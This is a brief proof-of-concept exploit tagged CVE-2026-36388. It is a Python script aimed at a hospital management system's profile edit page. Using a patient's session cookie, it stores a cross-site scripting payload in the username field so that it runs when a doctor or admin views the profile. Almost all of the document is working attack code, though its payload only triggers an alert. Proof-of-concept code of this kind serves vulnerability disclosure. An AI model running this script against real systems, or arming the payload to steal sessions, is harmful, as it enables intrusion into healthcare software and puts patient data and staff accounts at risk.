CVE-2026-36388

import requests # Target URL for the vulnerable profile edit page target_url = "http://target-ip/hospital/hms/edit-profile.php" # Attacker session cookie (obtained after logging in as a patient) cookies = { "PHPSESSID": "attacker_session_id" } # Malicious payload to be injected into the User Name field # This payload will execute when a doctor views the profile xss_payload = "<img src=x onerror=alert('XSS-By-Patient')>" # Data payload for the POST request post_data = { "fullname": "Test Patient", "username": xss_payload, # Vulnerable parameter "contact": "1234567890", "submit": "Update Profile" } try: # Send POST request to inject the payload response = requests.post(target_url, data=post_data, cookies=cookies) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Wait for an admin/doctor to view the profile to trigger the XSS.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

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